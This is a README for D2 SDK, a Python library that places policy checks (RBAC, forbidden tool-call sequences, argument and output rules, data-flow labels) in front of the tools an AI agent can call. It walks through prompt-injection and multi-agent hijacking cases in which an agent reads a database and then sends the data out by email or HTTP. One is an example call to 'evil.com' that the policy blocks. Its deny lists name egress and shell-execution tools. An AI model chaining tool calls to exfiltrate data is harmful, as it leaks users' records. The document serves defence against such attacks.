D2 SDK

You need policy enforcement at every tool execution.

The Problem

Traditional security assumes you control what functions get called and in what order. But with AI agents:

# You write this safe-looking code:
@app.route("/analyze")
def analyze_data(user_input):
    agent = Agent(tools=[read_database, call_api, send_email])
    return agent.run(user_input)  # ← AI now controls execution flow

The AI decides:

  • Which tools to call
  • In what order
  • With what arguments
  • Where the data goes

An attacker just needs the right prompt:

# User prompt: "Read the users table and email me the results"
agent.run("Read the users table and email me the results")

# Agent execution:
1. read_database("users")  # ✓ Your code allows this
2. send_email("[email protected]", data)  # ✓ Your code allows this too

Both operations are individually authorized. The sequence is what makes it dangerous.

Your application firewall can't help you. Your API gateway can't help you. You need enforcement at the tool layer.

The Solution

from d2 import d2_guard, set_user, configure_rbac_sync

configure_rbac_sync()

@d2_guard("database.read")
def read_database(table):
    return db.query(f"SELECT * FROM {table}")

@d2_guard("email.send")
def send_email(to, data):
    return smtp.send(to, data)

Policy (policy.yaml):

policies:
  - role: analyst
    permissions:
      - database.read
      - email.send
    
    sequence:
      - deny: ["database.read", "email.send"]
        reason: "Prevent data exfiltration"

Now when the agent tries the attack:

set_user("analyst-123", roles=["analyst"])

data = read_database("users")  # ✓ Allowed
send_email("[email protected]", data)  # ✗ Blocked by sequence rule
# Raises: PermissionDeniedError with reason="sequence_violation"

D2 enforces policy at every tool call, regardless of how the AI orchestrates them.

Stuck? Confused? Something broke? Don't struggle alone—ask in Discussions and we'll write the exact code for your use case, usually within a few hours.

What D2 Protects Against

Unauthorized access:

  • RBAC at the function level
  • Wildcard and role-based permissions

Dangerous sequences:

  • Block patterns like [read_db, call_external_api]
  • 2-hop, 3-hop, N-hop sequence detection

Bad inputs:

  • Validate arguments before execution
  • Type checks, regex, allowlists

Data leaks:

  • Auto-sanitize sensitive fields in responses
  • Filter, redact, or block entirely

Use one, use all—they're designed to work together.

Deterministic Function-Level Guardrails for AI Agents

Control what your AI can do—one function at a time.

CI Python Versions License

Documentation • Quickstart

What is D2?

D2-SDK adds granular control to any function your LLM or application can call. Think of it as a security guard that sits in front of your Python functions, enforcing anything you outline in simple policy language based on YAML/JSON.

What makes it useful:

  • Secure by default. If a tool isn't explicitly allowed in your policy, it gets blocked.
  • Small surface area. One decorator, some user context, and you're done.
  • Declarative guardrails. Set rules for arguments and return values in your policy file. D2 enforces them automatically.
  • Built-in telemetry. Metrics and usage events are captured automatically. Problems with the exporter never crash your app.
  • Works locally or in the cloud. Use local files for development, switch to signed cloud bundles for production.
  • Catches typos early. Policy validation happens at load time, not when your app is running in production.

Installation and setup

pip install "d2-sdk[all]"

Pick the initialization that matches your app type:

For synchronous apps (CLI scripts, Flask, Django):

from d2 import configure_rbac_sync

configure_rbac_sync()  # Call this once at startup

For async apps (FastAPI, asyncio scripts):

import d2, asyncio

async def lifespan():
    await d2.configure_rbac_async()  # Call this once at startup

How modes work:

  • No D2_TOKEN set: Reads policy from a local file
  • D2_TOKEN set: Uses signed bundles from the cloud with background updates

The examples in the examples/ folder are interactive and use print and input for demonstration.

API stability (version 1.0 and later)

The public API exported from d2 follows semantic versioning. Breaking changes will bump the major version. These symbols are stable:

Core functionality:

  • Decorator: d2_guard (also available as d2)
  • RBAC setup: configure_rbac_async, configure_rbac_sync, shutdown_rbac, shutdown_all_rbac, get_policy_manager
  • Context management: set_user, set_user_context, get_user_context, clear_user_context, warn_if_context_set
  • Data flow: record_fact, record_facts, get_facts, has_fact, has_any_fact
  • Web middleware: ASGIMiddleware, headers_extractor, clear_context, clear_context_async
  • Error types: PermissionDeniedError, MissingPolicyError, BundleExpiredError, TooManyToolsError, PolicyTooLargeError, InvalidSignatureError, ConfigurationError, D2PlanLimitError, D2Error

Protecting functions with the decorator

Put @d2_guard("tool-id") on any function that needs authorization checks.

Works with both regular functions and async functions. If you call a sync tool from inside an async context, D2 automatically runs it in a background thread so it doesn't block the event loop.

Basic example with RBAC

from d2 import d2_guard, set_user, configure_rbac_sync
from d2.exceptions import PermissionDeniedError

# Initialize D2 at startup
configure_rbac_sync()

@d2_guard("billing:read")
def read_billing():
    return {"balance": 1000, "currency": "USD"}

@d2_guard("analytics:run")
async def run_analytics():
    return await compute()

# Now use it in your application:
set_user("alice-123", roles=["viewer"])

try:
    data = read_billing()  
    # D2 checks: Does role "viewer" have permission for "billing:read"?
    # If policy allows it: function runs, returns data
    # If policy denies it: raises PermissionDeniedError before function runs
except PermissionDeniedError:
    # Tool was blocked by policy
    return {"error": "Access denied"}, 403

What happens under the hood:

  1. User calls read_billing()
  2. D2 intercepts the call (via the @d2_guard decorator)
  3. D2 looks up the current user context (alice-123 with role viewer)
  4. D2 checks the policy: "Does viewer role have permission for billing:read?"
  5. If YES: Function runs and returns data
  6. If NO: Raises PermissionDeniedError (function never runs)

Policy example:

policies:
  - role: viewer
    permissions:
      - billing:read  # Allowed
      # analytics:run not listed, so it's denied
  
  - role: admin
    permissions: ["*"]  # Wildcard allows everything

With this policy:

  • viewer CAN call read_billing() (explicitly allowed)
  • viewer CANNOT call run_analytics() (not in permission list)
  • admin CAN call both (wildcard permission)

Setting and clearing user context

D2 needs to know who the current user is and what roles they have. Set this once per request, then clear it when done.

What you're telling D2

When you call set_user("alice-123", roles=["analyst", "viewer"]), you're telling D2:

  • The current request is from user alice-123
  • This user has roles analyst and viewer
  • Check the policy to see what tools these roles can access

For sync handlers (Flask, Django, etc.):

from d2 import set_user, clear_context

@clear_context  # Automatically clears context after function returns
def view(request):
    # Your app's authentication already determined:
    # - request.user.id = "alice-123"
    # - request.user.roles = ["analyst", "viewer"]
    
    set_user(request.user.id, roles=request.user.roles)
    
    # Now D2 knows who's calling and will enforce their policy
    return read_billing()  # This checks: can analyst/viewer call billing:read?

Manual pattern (when not using decorators or middleware):

from d2 import set_user, clear_user_context

def handle_request(req):
    try:
        set_user(req.user.id, roles=req.user.roles)
        return do_work()
    finally:
        clear_user_context()  # Always clear, even if exception occurs

Why clearing matters:

If you don't clear context, the next request might accidentally use the previous user's identity. Always use:

  • @clear_context decorator, or
  • @clear_context_async decorator, or
  • Manual clear_user_context() in a finally block

Input and output guardrails (version 1.1+)

Two questions come up every time a tool gets called:

  1. Should we run this with these arguments?
  2. Is the data we're about to return safe to send?

D2 lets you answer both questions in your policy file. No extra code needed, just rules.

Understanding guardrail rules

Before writing policies, understand what you can validate and how to reference data.

Available constraint operators:

These operators work for both input validation and output validation/sanitization:

Operator Purpose Example Works On
type Check value type {type: int}, {type: string} Any value
required Field must be present {required: true} Any field
eq Exact match {eq: "admin"}, {eq: 100} String, number, bool
ne Not equal to {ne: "guest"} String, number, bool
min Minimum value {min: 1} Numbers
max Maximum value {max: 1000} Numbers
gt Greater than {gt: 0} Numbers
lt Less than {lt: 100} Numbers
in Must be in list {in: [sales, marketing]} String, number
not_in Must not be in list {not_in: [sms, push]} String, number
minLength Minimum length {minLength: 3} String, list
maxLength Maximum length {maxLength: 50} String, list
matches Regex pattern match {matches: "^[a-z_]+$"} String
not_matches Regex must not match {not_matches: "(?i)password"} String
contains String contains substring {contains: "@example.com"} String
not_contains String must not contain {not_contains: "../"} String
startsWith String starts with prefix {startsWith: "https://"} String
endsWith String ends with suffix {endsWith: ".com"} String
max_bytes Maximum byte size (UTF-8) {max_bytes: 10000} String, data

Important notes:

  • Operator names are case-sensitive (minLength not minlength)
  • Multiple operators on the same field are AND conditions (all must pass)
  • Unknown operators cause ConfigurationError at load time (fail fast, not at runtime)

Data structures you can validate:

D2 can inspect and validate any JSON-serializable value:

  • Simple values: String, number, boolean
  • Dictionaries: {"name": "Alice", "age": 30}
  • Lists: ["item1", "item2", "item3"]
  • Nested structures: Any combination of the above

Field path conventions:

For input validation: Only top-level parameter names are supported. Each function parameter gets its own rule:

input:
  user_id: {type: int, min: 1}      # Parameter name
  table: {in: [sales, marketing]}   # Parameter name
  limit: {min: 1, max: 1000}        # Parameter name

If you need nested validation, pass a dict parameter and validate the whole dict structure:

@d2_guard("search")
def search(filters: dict):
    # D2 can validate that 'filters' is present and is a dict
    # But cannot validate filters.status with dot notation
    ...

For output validation and sanitization: Full dot notation is supported for nested structures.

Here's what the policy rules look like alongside the actual return values they operate on:

Example 1: Simple top-level fields

# What your function returns:
return {"user_id": 42, "status": "active"}

# Policy rule:
output:
  user_id: {type: int, min: 1}       # Validates the "user_id" field
  status: {in: [active, pending]}     # Validates the "status" field

Example 2: Nested fields (one level deep)

# What your function returns:
return {
    "user": {
        "email": "[email protected]",
        "age": 30
    }
}

# Policy rule uses dot notation to reach nested fields:
output:
  user.email: {matches: "^[a-zA-Z0-9._%+-]+@.*"}  # Reaches into user → email
  user.age: {min: 18, max: 120}                    # Reaches into user → age

Example 3: Lists of dicts (applies to ALL items)

# What your function returns:
return {
    "records": [
        {"name": "Alice", "ssn": "123-45-6789"},
        {"name": "Bob", "ssn": "987-65-4321"},
        {"name": "Carol", "ssn": "111-22-3333"}
    ]
}

# Policy rule targets fields in EVERY list item:
output:
  records.ssn: {action: filter}  # Removes "ssn" from ALL records
  
# What the caller receives after sanitization:
{
    "records": [
        {"name": "Alice"},      # ssn removed
        {"name": "Bob"},        # ssn removed
        {"name": "Carol"}       # ssn removed
    ]
}

Example 4: Deeply nested (multiple levels)

# What your function returns:
return {
    "data": {
        "profile": {
            "settings": {
                "theme": "dark",
                "notifications": True
            }
        }
    }
}

# Policy rule uses chained dot notation:
output:
  data.profile.settings.theme: {in: [light, dark]}
  # Path: data → profile → settings → theme
  
# D2 walks the path step by step to find the value

How path resolution works:

When you write user.email in a policy, D2:

  1. Looks for a field called user in the return value
  2. Inside user, looks for a field called email
  3. Applies the validation/sanitization rule to that value

For lists, records.ssn means:

  1. Look for a field called records
  2. If it's a list, apply the rule to the ssn field in EVERY item

Writing functions for policy validation:

For outputs (full dot notation support):

Return dicts with named fields so policies can use dot notation:

# Good: Nested dicts let output policies target specific fields
@d2_guard("get_user")
def get_user(user_id: int):
    return {
        "name": "Alice",
        "profile": {"email": "[email protected]", "age": 30}
    }
    # Output policy can use: profile.email, profile.age

# Avoid: Tuples can't be targeted by field name
@d2_guard("get_user")
def get_user(user_id: int):
    return ("Alice", "[email protected]", 30)  # Policy can't distinguish fields

For inputs (top-level parameters only):

Since input validation only works on parameter names, structure your function signatures accordingly:

# Good: Simple parameters are easy to validate
@d2_guard("search")
def search(table: str, limit: int, format: str):
    # Input policy can validate: table, limit, format
    ...

# Also fine: Dict parameter (validate as whole, not nested fields)
@d2_guard("create_record")
def create_record(data: dict):
    # Input policy can validate: data (presence, type)
    # But NOT data.title or data.priority (no dot notation)
    ...

D2 does not support ___ because ___

Input rules (blocking bad arguments)

Input validation checks function arguments before execution. If any argument violates the policy, the call is blocked.

Example:

policies:
  - role: analyst
    permissions:
      - tool: reports.generate
        allow: true
        conditions:
          input:
            table: {in: [analytics, dashboards]}
            row_limit: {min: 1, max: 1000}
            format: {matches: "^[a-z_]+$"}

@d2_guard("reports.generate")
def generate(table: str, row_limit: int, format: str):
    # Only runs if arguments pass validation
    ...

# This works:
generate(table="analytics", row_limit=500, format="weekly_summary")

# These are blocked:
generate(table="engineering", row_limit=500, format="daily")  # table not in list
generate(table="analytics", row_limit=5000, format="daily")   # row_limit > 1000
generate(table="analytics", row_limit=100, format="Ad-Hoc")   # format has uppercase

Violations raise PermissionDeniedError (or trigger your on_deny handler) and telemetry records reason="input_validation".

Because policies live outside your code, security teams can update them without waiting for a deployment

Output rules (validating and cleaning responses)

D2 has two ways to handle output:

1. Output validation (checking structure)

This checks return values the same way input validation checks arguments. If validation fails, the whole response is blocked.

policies:
  - role: analyst
    permissions:
      - tool: analytics.get_report
        allow: true
        conditions:
          output:
            status: {required: true, in: [success, error]}
            row_count: {type: int, min: 0, max: 10000}
            format: {type: string, in: [json, csv, xml]}

What it does:

  • Uses constraint operators without the action keyword
  • Blocks the entire response if anything violates the rules
  • Works the same way as input validation
  • Think: "Is this response structure valid?"

2. Output sanitization (removing sensitive data)

This transforms return values to remove or hide sensitive information. Happens after validation passes.

Complete example showing validation, sanitization, and what the caller receives:

Say your function returns customer data like this:

@d2_guard("crm.lookup_customer")
def lookup_customer(customer_id: str):
    return {
        "status": "found",
        "name": "Alice Smith",
        "ssn": "123-45-6789",
        "salary": 150000,
        "notes": "VIP customer with SECRET clearance",
        "items": ["item1", "item2", ..., "item150"]  # 150 items
    }

You can sanitize this output with policy rules:

policies:
  - role: support
    permissions:
      - tool: crm.lookup_customer
        allow: true
        conditions:
          output:
            # Validation (just checks, doesn't change anything)
            status: {required: true, in: [found, not_found]}
            
            # Sanitization rules (these transform the data)
            ssn: {action: filter}                        # Remove ssn field entirely
            salary: {max: 100000, action: redact}        # Redact if over 100k
            notes: {matches: "(?i)secret", action: deny} # Block response if "secret" found
            items: {maxLength: 100, action: truncate}    # Limit array to 100 items
            
            # Global rules
            max_bytes: 65536
            require_fields_absent: [internal_flag]

What the caller receives after sanitization:

{
    "status": "found",        # Unchanged (passed validation)
    "name": "Alice Smith",    # Unchanged (no rule for this field)
    # ssn removed entirely (filter action)
    "salary": "[REDACTED]",   # Redacted because 150000 > 100000
    # Response BLOCKED before reaching caller (deny action triggered by "SECRET")
}

In this case, the whole response is blocked because notes matched the forbidden pattern. If notes didn't contain "SECRET", the caller would receive the data with ssn removed and salary redacted

How it processes:

  1. Validate: Check constraints without action (block if violated)
  2. Sanitize: Apply field actions (transform or block)
  3. Return the cleaned result

Field actions:

  • action: filter: Remove the field completely
  • action: redact: Replace value with [REDACTED] (or use pattern substitution if matches is set)
  • action: deny: Block the whole response if this field triggers
  • action: truncate: Limit field size (needs maxLength)

Actions can be conditional (only trigger when a constraint is violated):

salary: {max: 100000, action: redact}  # Only redact if over 100k
score: {type: int, max: 100, action: filter}  # Only remove if invalid or over 100

Available constraint operators (work for both input and output):

  • type, min, max, gt, lt: Number and type checks
  • minLength, maxLength: Size limits
  • in, not_in: Allow and deny lists
  • matches, contains, startsWith, endsWith: String pattern checks
  • eq, ne, required: Equality and presence checks

Important: Operator names are case-sensitive

D2 rejects policies that have typos or unknown operators. This prevents silent failures where you think a rule is protecting your app but it's actually being ignored.

Common mistakes D2 catches:

Wrong Right
minimum min
maximum max
minlength or minLenght minLength (capital L)
maxlength or maxLenght maxLength (capital L)
Type or MIN Lowercase (except Length)

If you see a ConfigurationError about unknown operators, check the spelling. The error message suggests the correct operator.

Global sanitization rules:

  • deny_if_patterns: Block if the cleaned output still matches forbidden patterns
  • require_fields_absent: Block if forbidden fields exist anywhere in the response
  • max_bytes: Set a size limit on the serialized output

Key differences:

What Validation Sanitization
Keyword No action Needs action
What happens Blocks if violated Changes data (or blocks if action: deny)
Changes value Never Always when triggered
Use for "Is this valid?" "Remove sensitive data"

You can combine them however you want. If nothing triggers, the original value comes back unchanged. If a validation or deny rule triggers, D2 raises PermissionDeniedError (or runs your on_deny handler) with reason="output_validation" or reason="output_sanitization". Telemetry records the same reason codes.

Nested guards

Protected functions can safely call other protected functions. Each layer checks inputs and sanitizes outputs using the same user context. Inner responses get cleaned before outer functions see them.

Run python examples/guardrails_demo.py to see both types of guardrails in action. It uses the sample policy in examples/guardrails_policy.yaml to block bad inputs and sanitize outputs.

Sequence enforcement (version 1.1+)

What it does: Stops dangerous patterns of tool calls, like reading from a database and then sending data to an external API.

Traditional RBAC only checks "who can call what." Sequence enforcement checks "what can be called after what." This prevents data leaks in systems where multiple agents work together.

The problem

When multiple agents work together, attackers can trick one agent into misusing another agent's permissions. Research from Trail of Bits (Multi-Agent System Hijacking) shows common attack patterns:

  • Direct data leak: database.read followed by web.http_request
  • Secrets leak: secrets.get_key followed by web.http_request
  • Hiding the trail: database.read then analytics.process then web.http_request

Traditional RBAC can't stop this because both operations are individually allowed. The sequence is what makes it dangerous.

The solution

Define forbidden sequences in your policy:

policies:
  - role: research_agent
    permissions:
      - database.read_users
      - web.http_request
      - analytics.summarize
    
    # Sequence enforcement
    sequence:
      # Block direct leaks
      - deny: ["database.read_users", "web.http_request"]
        reason: "Database access followed by external request may leak user data"
      
      # Block hiding the trail (3-step)
      - deny: ["database.read_users", "analytics.summarize", "web.http_request"]
        reason: "Data flow to external endpoints through analytics"

How it works

D2 tracks which tools have been called in the current request using contextvars. Before running a protected function, it checks if the sequence would create a forbidden pattern.

Execution layers:

  1. Layer 1 (RBAC): Can this role call this tool?
  2. Layer 2 (Sequence): Does this call create a forbidden pattern?
  3. Layer 3 (Input): Are these arguments safe?
  4. Run the function
  5. Layer 4 (Output): Is the return value safe?

Example: Attack blocked

@d2_guard("database.read_users")
async def read_users():
    return [{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]

@d2_guard("web.http_request")
async def send_request(url, data):
    return {"status": "sent"}

# Start of request
set_user("agent-1", roles=["research_agent"])

# Call 1: Read from database
users = await read_users()
# ✓ RBAC check passes (role has database.read_users permission)
# ✓ Sequence check passes (call history is empty, no pattern formed)
# ✓ Function runs
# D2's internal call history: ["database.read_users"]

# Call 2: Try to send data externally
await send_request("https://evil.com", users)
# ✓ RBAC check passes (role has web.http_request permission)
# ✗ Sequence check FAILS
#   Current history: ["database.read_users"]
#   Next tool: "web.http_request"
#   Pattern formed: ["database.read_users", "web.http_request"]
#   Policy says: deny this sequence
# ✗ Raises PermissionDeniedError with reason="sequence_violation"
# ✗ Function never runs, data never sent

Example: Safe workflow allowed

@d2_guard("analytics.summarize")
async def summarize(data):
    return {"count": len(data)}

# Start of request (fresh context)
set_user("agent-2", roles=["research_agent"])

# Call 1: Process data internally
analytics = await summarize([1, 2, 3])
# ✓ Function runs
# Call history: ["analytics.summarize"]

# Call 2: Read from database
users = await read_users()
# ✓ Checking sequence: ["analytics.summarize", "database.read_users"]
# ✓ No policy rule blocks this pattern
# ✓ Function runs
# Call history: ["analytics.summarize", "database.read_users"]

# This is safe because:
# - No sensitive data went to external systems
# - Order matters: analytics THEN database (not database THEN external)

What D2 tracks per request:

# Example internal state (you don't see this, D2 manages it)
{
    "user_id": "agent-1",
    "roles": ["research_agent"],
    "call_history": ["database.read_users"],  # Updated after each guarded call
    "request_id": "req-abc-123"  # For telemetry correlation
}

When the request ends (context cleared), the call history resets. Next request starts with an empty history

What you get

  • Request isolated: Call history gets cleared automatically between requests
  • Admin bypass: Wildcard roles skip sequence checks
  • Telemetry: Blocks are tagged with reason="sequence_violation"
  • No code changes: Just update your policy file
  • Memory efficient: Tool groups use lazy expansion, so large groups don't cause memory problems

Scaling to large tool groups

For policies with many tools, use tool groups with lazy expansion to prevent memory exhaustion.

The problem without groups:

# Without groups: Must list every combination explicitly
policies:
  - role: analyst
    sequence:
      - deny: ["database.read_users", "web.http_request"]
      - deny: ["database.read_users", "email.send"]
      - deny: ["database.read_users", "slack.post"]
      - deny: ["database.read_payments", "web.http_request"]
      - deny: ["database.read_payments", "email.send"]
      - deny: ["database.read_payments", "slack.post"]
      - deny: ["secrets.get_key", "web.http_request"]
      - deny: ["secrets.get_key", "email.send"]
      - deny: ["secrets.get_key", "slack.post"]
      # 3 sensitive × 3 external = 9 explicit rules
      # With 50 tools each: 50×50 = 2,500 rules!

The solution with groups:

metadata:
  tool_groups:
    sensitive: [database.read_users, database.read_payments, secrets.get_key]
    external: [web.http_request, email.send, slack.post]

policies:
  - role: analyst
    sequence:
      # One rule covers all 9 combinations
      - deny: ["@sensitive", "@external"]
        reason: "Prevent data leaks through any external channel"

How lazy expansion works at runtime:

# Policy has: deny: ["@sensitive", "@external"]

# Call 1
await read_users()  # Tool: database.read_users
# ✓ D2 updates history: ["database.read_users"]

# Call 2
await send_email("[email protected]", data)  # Tool: email.send
# D2 checks: Does ["database.read_users", "email.send"] match a forbidden pattern?
# 
# Step 1: Look at pattern ["@sensitive", "@external"]
# Step 2: Is "database.read_users" in @sensitive group? → YES (O(1) set lookup)
# Step 3: Is "email.send" in @external group? → YES (O(1) set lookup)
# Step 4: Pattern matches! → DENY
#
# No need to materialize all 9 combinations in memory
# Just check set membership at runtime

Memory savings:

Scenario Without Groups With Groups
3×3 tools (2-hop) 9 rules in memory 1 rule + 2 sets (6 items)
50×50 tools (2-hop) 2,500 rules 1 rule + 2 sets (100 items)
50×50×50 (3-hop) 125,000 rules 1 rule + 3 sets (150 items)

Runtime performance: O(1) set membership check per tool (fast regardless of group size)

Sequence modes: allow vs deny (version 1.2+)

By default, sequence enforcement uses allow mode (blocklist approach): everything is permitted unless explicitly denied. For high-security scenarios, you can switch to deny mode (allowlist approach): everything is blocked unless explicitly allowed.

When to use each mode:

Mode Default behavior Best for
allow (blocklist) Everything permitted, deny specific patterns Trusted users, dynamic workflows, velocity over control
deny (allowlist) Everything blocked, allow specific patterns Contractors, AI agents, regulated industries (HIPAA, SOC2)

Allow mode example (default - blocklist):

policies:
  - role: senior_engineer
    permissions: ["*"]
    
    sequence:
      mode: allow  # Default: permit everything except explicit deny rules
      
      rules:
        - deny: ["@sensitive_data", "@external_io"]
          reason: "Prevent data exfiltration"
        
        # Everything else is implicitly allowed

Deny mode example (allowlist / zero-trust):

policies:
  - role: ai_agent
    permissions:
      - web.search
      - llm.summarize
      - report.save
    
    sequence:
      mode: deny  # Zero-trust: only allow pre-approved workflows
      
      rules:
        - allow: ["web.search", "llm.summarize"]
          reason: "Agent can search and summarize"
        
        - allow: ["llm.summarize", "report.save"]
          reason: "Agent can save summaries"
        
        # Everything else is implicitly blocked
        # Even though the agent has permission for all 3 tools,
        # web.search -> report.save is blocked (not in allow list)

How deny mode works:

In deny mode, D2 requires that each tool call matches an allowed pattern:

set_user("agent-1", roles=["ai_agent"])

# Call 1: web.search
await search("AI safety")
# ✓ Matches start of [web.search, llm.summarize]

# Call 2: llm.summarize  
summary = await summarize(results)
# ✓ Completes [web.search, llm.summarize]

# Call 3: report.save
await save_report(summary)
# ✓ Matches [llm.summarize, report.save] (chained from call 2)

# But this would fail:
set_user("agent-2", roles=["ai_agent"])
await search("secrets")
await save_report(results)  # ✗ BLOCKED - [web.search, report.save] not in allow list

Chaining rules: In deny mode, 2-step allow rules can be chained into longer workflows. [A, B] + [B, C] allows the sequence A → B → C because each step matches a valid pattern.

Mode interaction with deny rules:

  • In allow mode: allow rules override deny rules (explicit permission wins)
  • In deny mode: deny rules are ignored (everything is already denied by default)

Try it

Run the demos to see sequence enforcement in action:

# Basic sequence enforcement (deny rules in allow mode)
python examples/sequence_demo.py

# Sequence modes comparison (allow vs deny)
python examples/sequence_modes_demo.py

sequence_demo.py shows 5 scenarios:

  1. Direct leak (blocked)
  2. Safe internal workflow (allowed)
  3. Hiding the trail (blocked)
  4. Secrets leak (blocked)
  5. Admin bypass (allowed)

sequence_modes_demo.py shows:

  1. Allow mode (blocklist) - trusted users with specific deny rules
  2. Deny mode (allowlist) - restricted users with explicit allow rules
  3. Regulated industry patterns (HIPAA, SOC2)
  4. AI agent zero-trust workflows

For complete protection, combine RBAC, sequence enforcement, data flow tracking, and input/output guardrails. See the Trail of Bits research linked above for more attack patterns.

Data flow tracking (version 1.2+)

What it does: Tracks semantic labels about what kind of data has entered a request, and blocks tools that shouldn't handle that data type.

Sequence enforcement blocks specific tool patterns. Data flow tracking provides blanket protection: "Once sensitive data enters the request, block ALL egress tools."

The problem

Sequences can catch specific patterns like [database.read, http.request], but attackers can pivot:

# Blocked by sequence rule: [database.read, http.request]
users = await database.read()
await http.request(url, users)  # ✗ Blocked

# But attacker tries another channel...
users = await database.read()
await slack.post(channel, users)  # ✓ Allowed (no rule for this pattern)
await email.send(to, users)       # ✓ Allowed (no rule for this pattern)

You'd need to enumerate every possible egress tool in your sequence rules.

The solution

Data flow tracking uses semantic labels:

metadata:
  tool_groups:
    sensitive_data: [database.read, database.read_users, secrets.get]
    egress_tools: [http.request, email.send, slack.post, webhook.call]

  data_flow:
    labels:
      "@sensitive_data": [SENSITIVE]
      "@secrets": [SECRET]
      
    blocks:
      SENSITIVE: ["@egress_tools"]
      SECRET: ["@egress_tools", "logging.info"]

What this means:

  • When any @sensitive_data tool runs, D2 adds the SENSITIVE label to the request
  • Any tool in @egress_tools is blocked if SENSITIVE is present
  • Labels persist for the entire request, regardless of intermediate tools

How it works

set_user("agent-1", roles=["researcher"])
# facts: {} (empty)

# Call 1: Read sensitive data
users = await database.read()
# facts: {"SENSITIVE"} ← label added after tool runs

# Call 2: Process internally (allowed - no blocking labels)
summary = await analytics.summarize(users)
# facts: {"SENSITIVE"} (unchanged)

# Call 3: Try ANY egress - all blocked
await http.request(url, summary)   # ✗ Blocked by SENSITIVE
await slack.post(channel, summary) # ✗ Blocked by SENSITIVE
await email.send(to, summary)      # ✗ Blocked by SENSITIVE

Execution layers

D2 now runs 5 layers:

  1. RBAC: Can this role call this tool?
  2. Input validation: Are these arguments safe?
  3. Sequence enforcement: Does this create a forbidden pattern?
  4. Data flow check: Do current labels block this tool?
  5. Run the function
  6. Output validation/sanitization: Is the return value safe?
  7. Record labels: Add any labels this tool produces

Policy syntax

Labels section: Maps tools/groups to labels they produce:

data_flow:
  labels:
    # Groups emit labels
    "@sensitive_data": [SENSITIVE]
    "@secret_sources": [SECRET]
    "@untrusted_inputs": [UNTRUSTED]
    "@llm_tools": [LLM_OUTPUT]
    
    # Individual tools can also emit
    "payment.process": [PCI_DATA, SENSITIVE]

Blocks section: Maps labels to tools they block:

data_flow:
  blocks:
    SENSITIVE: ["@egress_tools"]
    SECRET: ["@egress_tools", "logging.info"]
    UNTRUSTED: ["@execution_tools"]
    LLM_OUTPUT: ["shell.execute", "code.eval"]

Common use cases

1. Compliance (PCI, GDPR, HIPAA):

data_flow:
  labels:
    "@pii_sources": [PII, GDPR]
    "@payment_tools": [PCI]
    
  blocks:
    PCI: ["logging.info", "@external_apis"]
    GDPR: ["@external_apis"]

2. LLM output tainting (CaMeL-style):

data_flow:
  labels:
    "@llm_tools": [LLM_OUTPUT]
    
  blocks:
    LLM_OUTPUT: [shell.execute, code.eval, subprocess.run]

This prevents prompt injection → code execution attacks.

3. Multi-agent data isolation:

data_flow:
  labels:
    "@user_input_tools": [UNTRUSTED]
    
  blocks:
    UNTRUSTED: ["@privileged_tools", "@write_tools"]

Programmatic access

D2 exports functions for inspecting and manipulating facts:

from d2 import get_facts, has_fact, has_any_fact, record_fact

# Check current labels
if has_fact("SENSITIVE"):
    log.warning("Handling sensitive data")

# Check for any of multiple labels
if has_any_fact(["PCI", "HIPAA", "GDPR"]):
    enable_audit_logging()

# Get all labels
print(get_facts())  # frozenset({'SENSITIVE', 'PII'})

# Manually record a label (rarely needed - usually from policy)
record_fact("CUSTOM_LABEL")

Data flow vs sequences

Feature Sequences Data Flow
Blocks Specific tool patterns Any tool with matching label
Scope "A then B is bad" "Once X, block everything in group Y"
Pivot attacks Need rules for each path One label blocks all egress
Expression Tool combinations Data classifications
Best for Known dangerous patterns Blanket protection

Use both together: Sequences for explicit patterns, data flow for blanket protection.

Try it

Run the demo:

python examples/data_flow_demo.py

Shows:

  1. Sensitive data blocking all egress tools
  2. LLM output preventing code execution
  3. Pivot attack prevention
  4. Multi-label accumulation

Multi-role policies (version 1.1+)

What it does: Multiple roles can share the same permissions, guardrails, and sequence rules in one policy block.

The problem

When organizations have